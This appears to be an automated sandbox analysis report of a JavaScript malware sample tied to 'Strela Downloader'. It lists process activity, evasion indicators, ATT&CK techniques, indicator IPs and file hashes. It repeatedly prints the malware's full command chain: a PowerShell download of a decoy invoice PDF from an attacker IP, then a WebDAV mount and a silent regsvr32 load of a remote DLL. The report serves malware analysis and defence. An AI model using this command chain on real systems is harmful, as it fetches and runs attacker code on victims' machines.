Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4769			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4807			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1520	Thread sleep count: 4769 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876	Thread sleep count: 4807 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6604	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4836	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2848	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1436	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2092832139.000001C7A110B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3320162836.0000010C3705B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3318767786.0000010C31A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
72382724245064961.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Y	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/?	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.2036265325.0000020304766000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Y	net.exe, 00000007.00000002.2092832139.000001C7A10D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3320047064.0000010C37000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2091822298.0000010C36EC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2092832139.000001C7A10D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2092832139.000001C7A10CE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 00000007.00000002.2092832139.000001C7A10D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/?	net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588670
Start date and time:	2025-01-11 03:57:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	72382724245064961.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/62@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 23.200.0.179, 23.200.0.206, 23.200.0.196, 23.200.0.176, 23.200.0.173, 23.200.0.201, 192.168.2.5, 172.202.163.200, 13.107.246.45, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:57:51	API Interceptor	21x Sleep call for process: powershell.exe modified
21:57:55	API Interceptor	1x Sleep call for process: net.exe modified
21:57:55	API Interceptor	2x Sleep call for process: svchost.exe modified
21:58:08	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2322331617238881677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3462260851125011899.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307117578959917
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugj:gJjJGtpTq2yv1AuNZRY3diu8iBVqF5
MD5:	20A5320286A66DD503B07E0E37ED6BA1
SHA1:	03DFBCBFBE45E6E6B772F8AE60A4B9D6E9270297
SHA-256:	71704DAE369474D29B943DF1A08CEE771993121D282D5B914C11ECAE8E52C0B5
